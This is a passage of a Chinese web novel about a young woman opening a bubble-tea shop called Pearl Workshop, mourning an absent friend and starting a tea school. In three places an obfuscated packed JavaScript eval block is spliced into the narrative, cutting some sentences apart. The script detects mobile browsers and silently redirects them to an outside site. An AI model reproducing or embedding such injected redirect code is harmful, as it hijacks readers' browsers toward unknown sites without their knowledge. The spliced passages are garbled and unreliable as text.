牌匾挂正的瞬间,街对面卖豆腐的老张头第一个拍起手来:“挂得好!正正好!”几个路过的街坊也停下脚步,对着崭新的招牌指指点点。 陈婶眯着眼睛仔细打量,突然发现呆六娘还保持着扶梯子的姿势,两条胳膊抖得像筛糠。 “傻丫头,松手啊!”陈婶笑着拍她后背,力道大得差点把呆六娘拍个趔趄。 呆六娘这才如梦初醒,一屁股坐在地上:“哎哟喂......我的胳膊......”她试着抬起手臂,却只能无力地晃了晃,“没知觉了。” 江心月轻巧地跳下梯子,拍了拍裙子上沾的木屑,从墙角抱来一捆红绸:“六娘别偷懒,还得挂彩绸呢!” “我来我来!”陈婶一把抢过绸布,利落地踩上凳子,“你们小丫头手笨,这种喜气活儿得老人来才像样。” 她一边往门楣上系红绸,一边哼着不知名的小调。红绸随风飘动,拂过呆六娘的脸,惹得她打了个响亮的喷嚏。 “阿嚏!陈婶,这绸子掉色!”呆六娘指着自己发红的鼻尖,活像个偷吃了胭脂的小丑。 江心月正踮着脚往窗框上贴剪好的“福”字窗花,闻言回头:“那是你蹭的朱砂!早上让你擦柜台,你倒好——”她故意拉长声调。 “我擦了啊!”呆六娘一骨碌爬起来,冲到柜台前用手指一抹,“你看多亮!都能照见人影了!” 不到一会,铺子里已经焕然一新。桌椅被擦得泛着温润的光泽,玻璃窗亮得几乎看不见,连灶台上的铜壶都擦得能照出人影来。 呆六娘瘫在长凳上,像条晒干的咸鱼:“累死我啦!我的腰要断了!” 陈婶正踩着矮凳往墙上挂绣着“茶”字的靛蓝布帘,闻言回头:“小六子,别偷懒,去把招牌再擦擦。” “明天再擦嘛。”呆六娘耍赖地在长凳上打了个滚,“我的胳膊还没缓过劲来呢。” 江心月递给她一块湿布:“现在擦干净。”她眨了眨眼,“想想看,明天可是咱们珍珠坊第一天正式开张。” 这句话像是有魔力,呆六娘立刻鲤鱼打挺般跳起来,接过抹布就往外跑。 等一切都安排妥当,三人并排坐在擦得锃亮的长凳上歇脚。陈婶捶着后腰感叹:“老骨头不中用喽,才忙活半天就腰酸背痛的。” 江心月递过一碗凉茶:“多亏您帮忙,明天就能正式开业了。”她看着焕然一新的铺面,心里涌起一股暖流。 锁门时,呆六娘突然指着窗户惊呼:“快看!” 最后一缕夕阳正好照在门楣上,“珍珠坊”三个大字泛着温暖的光晕,像是被镀上了一层金边。红绸在晚风里轻轻摆动,仿佛在向过往的行人招手。 街角传来熟悉的吆喝声,是卖糖葫芦的老汉推着车往家走。陈婶突然站起身:“等等!”她急匆匆地追上去,“买几串明天讨个吉利!” 江心月和呆六娘相视一笑。江心月望着崭新的招牌,嘴角不自觉地上扬。 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359039|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天这个时候,珍珠坊就会迎来第一批真正的客人了。 珍珠坊开业这天,天刚蒙蒙亮,江心月就听见门外传来喧闹声。她推开窗户,只见陈婶正叉着腰指挥着几个小伙计在门口挂红灯笼,呆六娘踮着脚往门框上贴“开业大吉”的红纸,一不小心把浆糊蹭到了鼻尖上。 “三娘!”呆六娘转头看见她,兴奋地挥手,手里的刷子差点甩飞,“快来看,灯笼挂歪了!” 江心月刚推开店门,就被眼前的景象惊住了——整条西市街都飘着红绸,街坊们排起的长队拐了两个弯,卖豆腐老张头坐在最前头,正跟后面卖糖葫芦的王婆子唠嗑。 “这......”江心月眨了眨眼,“怎么这么多人?” 陈婶得意地叉着腰:“那天六丫头就喊了一嗓子,说前十位免费。”她凑过来压低声音,“哪想到能来这老些人,怕不是半个永安城都惊动了。” 忽然,街角传来清脆的驼铃声。阿尔罕骑着他那匹枣红马缓缓而来,身后跟着的还是那几头骆驼,骆驼脖子上都系着红绸花,背上驮着彩漆木箱。他今天也穿了件崭新的红色胡服。 “江姑娘!”阿尔罕利落地翻身下马,胡靴在石板上踏出清脆的响声。他解开最前面骆驼背上的彩漆木箱,“开业贺礼!” 江心月好奇地凑过去,阿尔罕掀开箱盖,里面整整齐齐码着几十个晶莹剔透的琉璃杯,阳光一照,在墙上投出七彩光斑。 “这......”江心月小心地捧起一个,冰凉的触感让她指尖微微一颤,“太贵重了......” “西域最好的匠人做的。”阿尔罕咧嘴一笑,露出洁白的牙齿,“配你的珍珠奶茶正好。” 呆六娘挤过来,眼睛瞪得溜圆:“哇!这么多!我们赚了......” 话没说完,排在最前头的老张头已经拍着柜台嚷嚷起来:“掌柜的,到底开不开张啊?老汉我这泡尿憋了半个时辰了!” 众人哄堂大笑。江心月连忙把琉璃杯收进柜台,转身“唰”地掀开盖在招牌上的红绸布:“珍珠坊,正式开张!” 店里渐渐热闹起来。阿尔罕主动站在柜台后帮忙,高大的身影在一群女伙计中格外显眼。 “要加糖吗?”阿尔罕学着江心月的动作往杯子里舀珍珠,结果手一抖,黑珍珠撒了一柜台,咕噜噜滚得到处都是。 呆六娘蹲在地上捡珍珠,笑得直打嗝:“阿尔罕,你这是在种珍珠呢?” 阿尔罕挠挠头,不但不恼,反而哈哈大笑:“在我们那儿,这叫‘天女散花'',是吉兆!” 江心月忙得脚不沾地,但每次抬头,看着满屋子客人捧着琉璃杯有说有笑,珍珠在茶汤里沉沉浮浮,心里就像喝了蜜似的甜。 正午时分,巴图赶着马车送来新鲜的牛奶,看到这阵仗吓了一跳:“好家伙,比我们那儿赶集还热闹!”他二话不说撸起袖子就帮忙搬货,粗壮的胳膊上青筋都暴起来了。 陈婶趁机把试吃的奶糕塞给他:“尝尝,用你们牧场的奶做的。” 巴图一口吞下,眼睛顿时亮了:“这甜滋滋的,比我们那儿的奶豆腐好吃多了!能不能让我婆娘也来学学?” 夕阳西下,珍珠坊的第一天营业终于接近尾声。江心月靠在门框上喘口气,看着满屋说说笑笑的伙计们,还有正在教阿尔罕包点心的陈婶,呆六娘趴在柜台上数铜钱,巴图帮着搬空了的牛奶桶。 阿尔罕似乎察觉到她的目光,抬头冲她笑了笑,手上捏着的面团却“啪”地掉在了地上。 “看来我更适合赶骆驼。”阿尔罕不好意思地搓着沾满面粉的手,“这细活实在做不来。” 江心月走过去,递给他一杯特调的玫瑰奶茶:“今天多亏你帮忙。” 阿尔罕接过杯子,他低头喝了一口,眼睛顿时亮了起来:“这味道......” “加了你的玫瑰花露。”江心月期盼地看着阿尔罕,“怎么样?好喝吗?” 阿尔罕没有立即回答,而是仰头喝了一大口,喉结上下滚动。他抹了抹嘴,露出灿烂的笑容:“就像把白水的春天喝进了肚子里。” 18. 第 18 章 屋内的欢笑声此起彼伏,陈婶正绘声绘色地讲着今天哪位客人一口气喝了三杯奶茶,阿尔罕和巴图在比划着谁搬的牛奶桶更多。忽然,一声细微的啜泣声从柜台后传来。 江心月抬头看去,只见呆六娘蹲在柜台后面,手指无意识地抠着柜台的木纹,眼圈红得像兔子一样。 “六娘?”江心月快步走过去,蹲下身轻轻擦去她眼角的泪珠,“怎么了这是?” 呆六娘猛地扑进江心月怀里,把脸埋在她肩膀上,声音闷闷的:“三娘,我想吃芝麻糖了......” 江心月的身子僵住了。她记得很清楚,每次浔阳秋从集市回来,都会给呆六娘带芝麻糖。那丫头总是一边吃一边说:“等咱们开了铺子,我要天天吃芝麻糖!” “唉哟,这孩子,”李婶从围裙兜里掏出一块芝麻糖,塞进呆六娘手里,“想吃就买嘛,哭什么鼻子?” 阿尔罕转过头来,笑着打趣:“是不是今天数钱数累了?我那儿还有西域的葡萄干......” 周围的人都被逗笑了,以为这丫头是馋嘴才哭鼻子。只有江心月紧紧抱住呆六娘,感觉自己的眼眶也开始发烫。 “三娘......”呆六娘在她耳边小声抽噎,温热的气息扑在江心月的脖颈上,“我想秋儿哥了......” 江心月感觉怀里的丫头又往自己怀里缩了缩,像只受伤的小兽寻求温暖。她轻轻拍着呆六娘的后背,手指能感觉到她单薄的肩膀在微微发抖。抬头望向窗外,夜色已深,月亮挂在天边,圆润明亮,和那天晚上他们三个在院子里看的一模一样。 “明天......”江心月吸了吸鼻子,把涌上来的酸涩压下去,“明天咱们就去买芝麻糖,买最大块的。” 呆六娘在她怀里用力点头,攥着李婶给的芝麻糖却舍不得吃。江心月看见她的小手紧紧握着,指节都泛白了,糖块在手心里被体温捂得有些发软。 陈婶似乎察觉到了什么,走过来揉了揉呆六娘的脑袋:“傻丫头,芝麻糖要趁热吃才香。”她粗糙的手掌温暖干燥,又从围裙兜里掏出两块芝麻糖,“多吃点,明天还要招呼客人呢。” 阿尔罕端着两杯奶茶走过来,热气在杯口袅袅升起。他什么也没问,只是轻声说:“喝点甜的,心情就好了。” 江心月接过奶茶,小心地递到呆六娘嘴边。热气氤氲中,她仿佛又看见浔阳秋站在灶台前,笑着往奶茶里加珍珠的样子。他总是能把珍珠撒得恰到好处,每一颗都均匀地沉在杯底。 店里依旧吵闹,巴图正跟陈婶比划着草原上的趣事,阿尔罕在教几个小伙计怎么用西域的法子煮茶。 窗外的月亮静静地照着新挂上的“珍珠坊”招牌,一切都和想象中一样美好,只是少了那个总爱说“等咱们铺子开张了”的人。 江心月的手指无意识地摩挲着呆六娘的手背,那些记忆像潮水一样涌来。她记得那天傍晚,夕阳把三个人的影子拉得老长。 浔阳秋刚跨进院门,呆六娘就像只小麻雀似的扑了上去。他手里那个油纸包的一角露出来,在夕阳下泛着诱人的光泽。 “秋儿哥!”呆六娘扔下手里的木薯粉,眼尖地看见浔阳秋手里油纸包的一角,“是不是芝麻糖?”她的眼睛亮晶晶的,充满了期待。 浔阳秋笑着把油纸包举高:“鼻子倒是灵。”他故意逗她,“不过这是给心月的。” 江心月正蹲在井边洗珍珠,闻言抬头:“我才不爱吃甜的。” “骗人!”呆六娘急得直跺脚,“上次你还偷吃我的糖!” 浔阳秋还是高举着油纸包:“猜猜是什么馅的?” “核桃的!”呆六娘踮着脚去够,“我闻见香味了!” 江心月擦了擦手上的粉末,看着两人在院子里追逐。月光把他们的影子投在地上,一个高高举起手臂,一个跳着去够,像皮影戏里的人物。 “别闹了,”她忍不住出声,“珍珠还没搓完呢。” 浔阳秋哈哈大笑,终于把油纸包递给呆六娘:“慢点吃,别噎着。” 呆六娘迫不及待地拆开油纸,金黄的芝麻糖在夕阳下泛着油光,每一块都嵌着饱满的核桃仁。 “秋儿哥,”呆六娘塞了满嘴糖,含糊不清地问,“你这糖到底在哪买的?为什么和我买的不一样,这么好吃?” 浔阳秋蹲下身,掏出手帕给她擦嘴角的糖渣:“李记巷子最里头那家,老板姓周。” “骗人!”呆六娘瞪圆眼睛,“我上周才去过李记,哪有这么好吃的芝麻糖?” 江心月凑近闻了闻,糖香里确实混着一丝特别的焦香。她忽然想起什么:“是不是用蜂蜜代替了麦芽糖?” 浔阳秋眼睛一亮:“你尝出来了?”他转向呆六娘,“周老板是今年新来的,用的都是自家蜂场的蜜。” “我要去买!”呆六娘拽住浔阳秋的袖子摇晃,“现在就去!” “天都快黑了。”江心月拧干手里的棉布,“明天再去。” 浔阳秋看了看天色,又看了看呆六娘期待的眼神,突然一拍膝盖:“走!现在就去!”他看向江心月,“一起去?正好买点糯米粉回来。” 江心月还想拒绝,呆六娘已经拽着她的胳膊往外拖:“走嘛走嘛,正好看看别人家糖水怎么熬的!” 夜风裹着桂花香扑面而来。三人穿过寂静的巷子,远处集市的灯火越来越近。 江心月走在中间,左边是蹦蹦跳跳的呆六娘,右边是步履从容的浔阳秋。 “这边!”浔阳秋领着他们穿过人群,来到一个不起眼的小摊前。摊主是个精瘦的老头,正在案板上切芝麻糖,动作又快又准。铺子门口挂着盏红灯笼,照亮“周记糖铺”四个字。柜台后站着个精瘦老汉,正往模具里倒糖浆。 “周叔,”浔阳秋打招呼,“来三份芝麻糖。” 老汉抬头看见是他,笑得满脸褶子:“哟,浔阳公子带朋友来了?”他麻利地包好糖块,“等着,我给你切刚出锅的。” 呆六娘扒在案台边,眼睛一眨不眨地看着周老汉熟练地撒芝麻、浇糖浆、压制成型。热腾腾的甜香扑面而来,她忍不住咽了咽口水。 “尝尝。”周老汉切下一小块边角料递给她。 呆六娘接过糖块放进嘴里,烫得直哈气也不舍得吐:“好香!比秋儿哥带的还香!” “那是自然。”周老汉得意地说,“刚出锅的最香。浔阳公子每次来买的都是放凉的,味道差远喽!” 浔阳秋不好意思地挠挠头:“我来得太晚了,来的时候都放凉了。” 江心月小口咬着糖,甜香在舌尖化开。她注意到糖块切得格外整齐,每块大小几乎一样。 “您这刀工真好。”她忍不住夸道。 周老汉乐呵呵地指着案板旁的铜尺:“祖传的手艺,每块糖必须一寸见方。”他忽然压低声音,“关键是火候,蜂蜜熬到起小泡就得离火,晚一刻就苦了。” 呆六娘凑到炉子前:“我能试试吗?” “六娘!”江心月想拦,周老汉却已经递过木勺:“来,顺着一个方向搅。” 浔阳秋悄悄碰了碰江心月的手肘:“让她玩吧,咱们看看别的。” 铺子角落里堆着各式模具,有梅花的,竹叶的,还有小兔子形状的。江心月拿起一个看了看,底部刻着“周”字。 “定制的?”她问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359040|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 浔阳秋点头:“周叔说,招牌就得让人一眼认出来。”他顿了顿,“就像咱们的珍珠奶茶。” 江心月心头一动。她想起自己一直用同样的青花碗盛奶茶,客人们远远看见蓝花纹就知道是她家的。 “秋儿哥!”呆六娘举着勺跑过来,“周叔答应教我熬糖了!” 江心月站在一旁,看着呆六娘像只小馋猫似的围着案台转,浔阳秋则认真地跟马老头讨教怎么做芝麻糖。灯笼的光照在他们脸上,温暖又明亮。 买完芝麻糖,三个人沿着夜市慢慢逛。浔阳秋兑现承诺买了糯米粉,呆六娘又缠着他买了串糖葫芦。江心月本来想买些茶叶,却被一个卖花种的小摊吸引了目光。 “姑娘看看?”摊主是个慈眉善目的老太太,“桂花苗,明年就能开花。” 浔阳秋凑过来:“喜欢桂花?” “门口种一排挺好的。”江心月轻声说,“开花的时候满街都是香的。” 呆六娘嘴里塞着糖葫芦,含糊不清地说:“还能做桂花糕!” “买几棵吧。”浔阳秋已经蹲下来挑拣,“等咱们铺子开张了,正好赶上开花。” 老太太笑眯眯地看着他们:“年轻人要开店啦?做什么营生?” “珍珠奶茶。”呆六娘骄傲地挺起胸脯,“可好喝了!” “到时候请婆婆来喝。”浔阳秋爽快地说,掏出钱袋买了三棵最壮的苗。 回去的路上,浔阳秋提着桂花苗走在前面,灯笼在他手里晃晃悠悠。呆六娘一手拿着芝麻糖,一手拽着江心月的袖子,叽叽喳喳说个不停。 “秋儿哥,咱们以后每天都能去买刚出锅的芝麻糖吗?” “只要你起得来。”浔阳秋回头笑道,“周师傅天不亮就开张。” “那我肯定起得来!”呆六娘信誓旦旦地说,又咬了口芝麻糖,“三娘,你说咱们铺子开张那天,要不要请周师傅来摆摊?” 江心月还没回答,浔阳秋就接话:“好主意!再请那个炸油糕的,还有吹糖人的......” 三个人越说越起劲,不知不觉走到了家门口。浔阳秋把桂花苗小心地放在墙角:“明天一早就种上。” 那天晚上,他们照例在院子里搓珍珠。月光很亮,都不用点灯。呆六娘把芝麻糖分给大家,浔阳秋一边吃一边说:“等铺子开张了,我要在桂花树下埋几坛女儿红......” “为什么是女儿红?”呆六娘好奇地问。 “等你们出嫁的时候喝啊!”浔阳秋大笑着说。 江心月抓起一把木薯粉扔他:“胡说什么!” 回忆到这里,江心月的手指突然被什么烫了一下。她回过神来,发现是眼泪落在了手背上。店里的欢声笑语还在继续,阿尔罕正在教巴图用芦苇杆喝奶茶,陈婶和春桃在讨论做点心的心得。 “秋儿哥回来了!”呆六娘的欢呼声仿佛还在耳边回荡。江心月低头看着怀里已经平静下来的丫头,发现她不知什么时候睡着了,长长的睫毛上还挂着泪珠,手里却还紧紧攥着那块芝麻糖。 陈婶轻轻走过来,递过一条薄毯:“让她睡会儿吧,今天累坏了。” 江心月点点头,小心地把呆六娘抱到里间的榻上。月光透过窗纱照进来,在呆六娘的脸上投下柔和的光晕。江心月轻轻擦去她眼角的泪痕,心里默默想着明天一定要去买最新鲜的芝麻糖,就像从前浔阳秋带回来的那样。 江心月拿过呆六娘手里的芝麻糖咬了一口,甜香在口中化开,却带着说不出的苦涩。她看着门外——那里确实种了一排桂花树,是铺子开张前她和呆六娘亲手栽下的。只是说要在树下埋女儿红的人,却不知去了何方。 19. 第 19 章 珍珠坊的清晨总是从一阵甜香开始。天边刚泛起鱼肚白,江心月就已经在灶台前熬制第一锅焦糖。糖浆在铜锅里咕嘟咕嘟冒着泡,琥珀色的液体散发出诱人的焦香,顺着晨风飘出老远。 “三娘子,今儿又在教徒弟呢?”王婆子挎着菜篮子经过,忍不住在店门口驻足。她伸着脖子往店里张望,看见五六个年轻姑娘正围着江心月学熬糖浆。 江心月抬头擦了擦额角的汗,笑着招呼:“王婆婆进来喝一碗?新熬的焦糖奶茶,给您多放珍珠。” 渐渐地,这间小小的奶茶店变得比私塾还热闹。天还没亮透,就有学徒在门口排队等候;日上三竿时,来喝奶茶的客人把桌椅都坐满了;到了傍晚,还有不少闲汉蹲在门口看新鲜,就为了闻闻这新奇的味道。 “三娘,你看!”这日清晨,呆六娘举着一块崭新的木牌冲进店里,小脸红扑扑的,“我让刘木匠连夜赶出来的招同盟牌子!” 江心月接过沉甸甸的木牌,上面用端正的楷书写着加盟的规矩:每月一百文加盟费,原料必须从珍珠坊进,每卖一杯抽一文钱。她用手指抚过那些凸起的字迹,笑着把牌子挂在门边最显眼的位置:“咱们的规矩得让所有人都看清楚。” 起初只有零星几个人来打听。西街卖烧饼的赵大婶是第一个签约的,她搓着围裙不好意思地说:“江掌柜,我这老婆子笨手笨脚的,学得会吗?” “简单着呢!”呆六娘抢着回答,顺手拿起一个琉璃杯示范,“您看,先放珍珠,再加奶茶,最后淋糖浆。连我都会,您肯定行!” 不出半月,赵大婶的烧饼铺子门口就支起了一个小奶茶摊。让人意外的是,奶茶的生意竟比卖了十几年的烧饼还要红火。 这下可炸开了锅,东市的裁缝、南街的杂货铺老板、甚至河边洗衣的妇人们都跑来要加盟。 “三娘,咱们得想个法子。”这天打烊后,陈婶一边数铜钱一边说,“今天又来了七八个要学手艺的,店里都站不下了。” 江心月正擦拭着琉璃杯,目光扫过挤满学徒的店面。突然,她放下杯子:“咱们开个学堂吧!” “学堂?”呆六娘正往罐子里装珍珠,闻言差点打翻罐子,“教人做奶茶的学堂?” “对!”江心月越说越兴奋,手里的抹布都忘了放下,“我把隔壁的铺子也租下来,摆上灶台和桌椅,每天上午开课教学,下午照常营业。” 说干就干。第二天一早,阿尔罕就带着巴图来帮忙装修。两个壮汉扛着木头在院子里进进出出,叮叮当当的敲打声引得街坊们纷纷驻足。 “江掌柜这是要办学堂啊?”卖豆腐的老张头踮着脚往院里张望。 “可不是!”呆六娘得意地扬起小脸,手里还拿着刚写好的课程单子,“以后咱们这儿就是正儿八经的奶茶学堂了!头三天免费试学呢!” 新学堂开张那天,江心月特意煮了一大锅奶茶请街坊们品尝。二十多个学徒整齐地坐在新做的小板凳上,人手一个笔记本,认真地记着每一个步骤。 “火候最关键。”江心月站在灶台前示范,手里的木勺匀速搅动着茶汤,“要煮到起小泡,但不能滚开......” 台下有个扎着蓝头巾的小学徒怯生生地举手:“江掌柜,我煮的珍珠老是糊锅底,怎么办?” “要不停地搅。”江心月拿起木勺示范动作,“就像这样,顺着一个方向,力道要均匀......” 渐渐地,“奶茶学堂”的名声越传越远。连邻县的商贩都慕名而来,西市的客栈住满了求学的人。 珍珠坊的后院从早到晚飘着茶香,时不时爆发出“原来如此”的惊叹声。 这天傍晚,江心月正在清点明天要用的原料,听见两个新来的学徒在门口聊天。 “我娘说了,学了这手艺,回去说亲都有底气!”一个扎着麻花辫的姑娘说。 另一个穿着粗布衣裳的姑娘连连点头:“可不!咱们县里还没人卖这个呢!我算过了,一天卖三十杯,一个月就能挣......” 江心月和呆六娘相视一笑。当初那个窝在小院里搓珍珠的梦想,如今真的长成了参天大树。 窗外的桂花树已经冒出新芽,翠绿的嫩叶在晚风中轻轻摇曳。今年秋天,想必会开得格外灿烂。 夕阳西下,送走最后一批学徒,江心月捶着酸痛的腰,看着呆六娘数今天收的束脩。铜钱在桌上堆成小山,在夕阳下泛着温暖的光泽。 “三娘,咱们发财啦!”呆六娘眼睛亮晶晶的,手指飞快地数着铜钱。 陈婶端着热茶走过来:“别光顾着高兴,明天还得早起备料呢。”她嘴上这么说,眼角的皱纹却笑成了花。 阿尔罕不知什么时候站在了门口,手里捧着个精致的木匣子。 “听说江先生开学堂了,我来送贺礼。”他笑着把木匣子放在桌上。 打开匣子,里面是一套精美的茶具,白瓷上描着青花,每件上面都刻着“珍珠坊”三个小字,字迹清晰工整。 “以后学成的徒弟,都送一套。”阿尔罕拿起一个茶杯,阳光透过薄如蝉翼的杯壁,在地上投下细碎的光斑,“走到哪儿都是你们珍珠坊的招牌。” 江心月摸着茶具上凹凸的字迹,忽然觉得鼻子有些发酸。 这小小的奶茶店,或许真能像浔阳秋说过的那样,开遍永安城的每个角落。她抬头望向窗外,最后一缕夕阳正温柔地笼罩着门外的桂花树,嫩绿的新叶在晚风中轻轻摇曳。 这一天,珍珠坊刚开门不久,江心月正在后院清点新到的木薯粉,突然听到前厅传来一阵骚动。 “三娘!三娘!”呆六娘慌慌张张地跑进来,发髻都散了一边,“赵、赵会长来了!” 江心月拍了拍手上的粉末:“来买奶茶?” “不是!”呆六娘急得直跺脚,“他说要报名加盟!” 珍珠坊的大厅里,几个正在喝茶的客人已经悄悄溜走,只剩下半杯未喝完的奶茶在桌上冒着热气。赵浩广背着手站在柜台前,老周局促地跟在他身后,不时擦擦额头的汗。 “我说我们要报名。”赵浩广的声音比平时低沉,他从怀里掏出一个鼓鼓的钱袋,重重放在柜台上。钱袋落在木质台面上,发出“咚”的一声闷响,惊得呆六娘往后一退,撞上了身后的茶罐架。 江心月掀开帘子时,看到的就是这副景象。她目光扫过桌上的钱袋——那鼓胀的形状显示出里面装着不少钱。又看向赵浩广紧绷的下巴,心里顿时明白了七八分。 “门口的加盟条约看了吗?”江心月走到柜台前,拿起钱袋掂了掂。铜钱相互碰撞,发出清脆的声响。 老周赶紧上前一步,从袖中掏出一张纸:“看了看了,这是签好的契约。”他清了清嗓子继续道,“江姑娘放心,我们一定按规矩来。” “三娘,你真要教他们?”呆六娘拽住江心月的袖子,声音压得极低:“三娘,他们可是...” 江心月安抚地拍拍她的手:“开门做生意,交了钱就是客人。”她转向赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359041|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浩广,语气平和,“赵会长想学什么?” 赵浩广从袖中掏出一锭银子,啪地按在柜台上:“全套。”银子在阳光下闪着冷光。 老周连忙补充:“我们会长是诚心来学的。昨天尝了您家的珍珠奶茶,确实...”他偷瞄了眼赵浩广的脸色,“确实比我们做的好。” 教学区里,江心月将木薯粉倒在案板上,动作娴熟地加水揉搓。赵浩广站在一旁,眉头紧锁,目光却紧紧跟着她的每一个动作。老周则拿着小本子,时不时记上几笔,发出沙沙的声响。 “揉面时力道要这样。”江心月双手在面团上按压,力道均匀,“太用力会发硬,太轻又没嚼劲。” 她将揉好的面团拉开展示,那面团光滑柔韧,在阳光下泛着珍珠般的光泽。 赵浩广突然伸手戳了戳面团,又赶紧缩回手:“原来如此......”他若有所思,“我们之前都是随便揉两下就完事。” 老周凑近闻了闻:“江姑娘,您这红糖好像放得比我们多?” “红糖要熬到起泡。”江心月搅动着小锅里的糖浆,香甜的气息随着蒸汽弥漫开来,“这样甜味才能渗进珍珠里,吃起来才有层次。” 赵浩广盯着锅里咕嘟冒泡的糖浆,突然说:“我们都是直接往茶里加糖块。”话一出口,他自己似乎也觉得不妥,别过脸去。 呆六娘躲在柜台后偷笑,被江心月一个眼神制止了。她赶紧假装整理茶具,却碰倒了一摞瓷碗,发出叮叮当当的声响。 到了搓珍珠的环节,赵浩广显得格外笨拙。他粗大的手指捏着小小的面团,不是搓不圆就是捏太扁。老周倒是学得认真,但搓出来的珍珠也是大小不一。 “要这样。”江心月拿起一小块面团,在掌心轻轻一搓,一颗圆润的珍珠就成型了,“力道要均匀,速度要快。” 赵浩广试了几次,终于搓出一颗还算圆的珍珠。他举起来对着阳光看了看,脸上露出一丝难得的笑意,但很快又收敛起来。 教学结束时,赵浩广看着自己做的珍珠有些尴尬。老周倒是兴致勃勃,把自己做的珍珠小心包起来:“会长,咱们回去再练练?” 送他们到门口时,赵浩广突然转身:“明日......我们还来。”这句话说得有些生硬,像是很不习惯这样客气地说话。他的目光扫过珍珠坊的招牌,又很快移开。 等两人走远,呆六娘才长舒一口气,整个人瘫在椅子上:“真是太阳打西边出来了,赵会长居然亲自来学艺,还这么客气。” 江心月望着街角消失的背影,轻轻整理着教学用的工具。她将木勺放进清水里冲洗,水珠溅起细碎的光点:“生意场上,没有永远的敌人。”她嘴角微微上扬,“况且,能教会对手,才是真本事。” 呆六娘凑过来,神秘兮兮地说:“我刚才偷看了老周的笔记,他们连火候都记下来了。” “让他们学去吧。”江心月擦干手,从柜子里取出一个新茶罐,“真正的秘诀,可不是看几眼就能学会的。” 她打开茶罐,里面是特制的桂花蜜,散发着独特的香气。这是她用浔阳秋院里那棵老桂树的花,加上独门配方酿制的,整个永安城独此一家。 门外,几个探头探脑的街坊见赵浩广走了,又陆续回到珍珠坊。 很快,店里又充满了谈笑声和茶香。江心月系上围裙,开始准备今天的特供奶茶。 阳光照在她灵巧的手指上,那些珍珠在她指间跳跃,像一颗颗小小的、会发光的星星。 20. 第 20 章 正午的日头毒辣得能把人烤出油来。珍珠坊门前的青石板被晒得发烫,隔着鞋底都能感觉到那股热气。 江心月擦了擦顺着鬓角滑下的汗珠,将已经凉透的奶茶慢慢倾入青瓷壶中。琥珀色的茶汤在阳光下闪着诱人的光泽,倒进壶里时发出悦耳的“哗啦”声。 “三娘!”呆六娘急得直搓围裙边,布料被她揉得皱巴巴的,“这都凉透了还留着做甚?”她伸手就要去拿茶壶,“倒掉算了,省得占地方!” 江心月用指尖轻轻点了点壶身,青瓷发出清脆的声响:“别急,你先尝尝看。” 呆六娘半信半疑地端起杯子抿了一口,突然瞪圆了眼睛:“咦?凉了反倒更清甜了!”她又喝了一大口,“奇怪,热的时候倒没觉得这么爽口。” 江心月头也不抬,仔细用棉布包裹着青瓷壶:“六娘,去地窖取些冰块来。” “取冰?”呆六娘掏出手帕扇着风,额前的碎发已经被汗水打湿,“这大热天的......咱们地窖里就剩那么点了......”她突然顿住,眼睛一亮,“您要做冰奶茶?” 正在收拾灶台的陈婶闻言抬起头,眼角笑出细纹:“去年伏天,李婆婆说凉茶最解暑。”她放下抹布,弯腰从柜台下提出一个竹篮,“正好,我刚去药铺买了新鲜薄荷叶。” 碧绿的薄荷叶上还带着水珠,陈婶麻利地摘了几片嫩叶,在案板上切成细丝。清新的薄荷香立刻在闷热的厨房里弥漫开来,让人精神一振。 呆六娘抱着带冰鉴的食盒回来时,小脸热得通红。她看见两人正往壶里撒薄荷碎叶,急忙拦住两人:“你们还往里加料?!” 江心月把陶壶小心放进冰鉴,盖上雕花木盖:“六娘,明儿个咱们改卖冰镇薄荷奶茶。” 这时,卖豆腐的王婆子挎着空篮子路过,她晒得通红的脸颊满是汗痕。她瞅了眼江心月收拾到一半的灶台:“江掌柜,明日可有新品?” “有。”江心月系紧食盒带子,抬头冲她笑了笑:“给您留碗冰镇的,消暑最好。” 王婆子咂咂干裂的嘴唇:“那敢情好,今儿这热茶喝得我浑身冒汗,背上的衣裳都湿透了。”她抬头看了看毒辣的日头,“这鬼天气,才五月就热成这样,往后的日子可怎么过。” 江心月笑而不语,手指轻轻叩了叩冰鉴盖子,发出清脆的“咚咚”声。她望向门外,几个行人正躲在树荫下乘凉,手里的蒲扇摇得飞快。 “三娘,咱们真要卖冰饮?”呆六娘凑过来小声问,这成本可不低......光是冰就要不少钱......“ 江心月掀开冰鉴盖子,一股凉气扑面而来,让人顿时舒爽了许多:“你刚才也尝了,凉茶是不是更好喝?” 呆六娘点点头,眉头却还皱着:“可是......” “没有可是。”江心月取出冰镇好的茶壶,给每人倒了一杯,“都尝尝看。” 